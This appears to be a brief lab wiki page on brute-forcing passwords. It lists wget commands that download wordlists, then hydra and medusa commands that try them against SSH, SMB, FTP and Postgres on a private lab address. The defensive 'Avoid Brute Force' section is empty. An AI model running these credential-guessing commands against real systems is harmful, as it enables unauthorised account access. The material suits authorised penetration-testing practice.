Bruteforce-passwords

Get the passwords

• wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/500-worst-passwords.txt

Labor Liste

• wget https://www.xinux.de/downloads/share/bad-passwords
• ncrack
• hydra
• medusa

hydra

ssh

• hydra -l xinux -P bad-passwords 10.0.10.104 ssh

smb

• hydra -l xinux -P bad-passwords 10.0.10.104 smb

ftp

• hydra -l xinux -P bad-passwords 10.0.10.104 ftp

ssh

• medusa -u xinux -P bad-passwords -h 10.0.10.104 -M ssh

postgres

• medusa -u xinux -P bad-passwords -h 10.0.10.104 -M postgres

Avoid Brute Force

• Avoid Brute Force

Source

• https://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/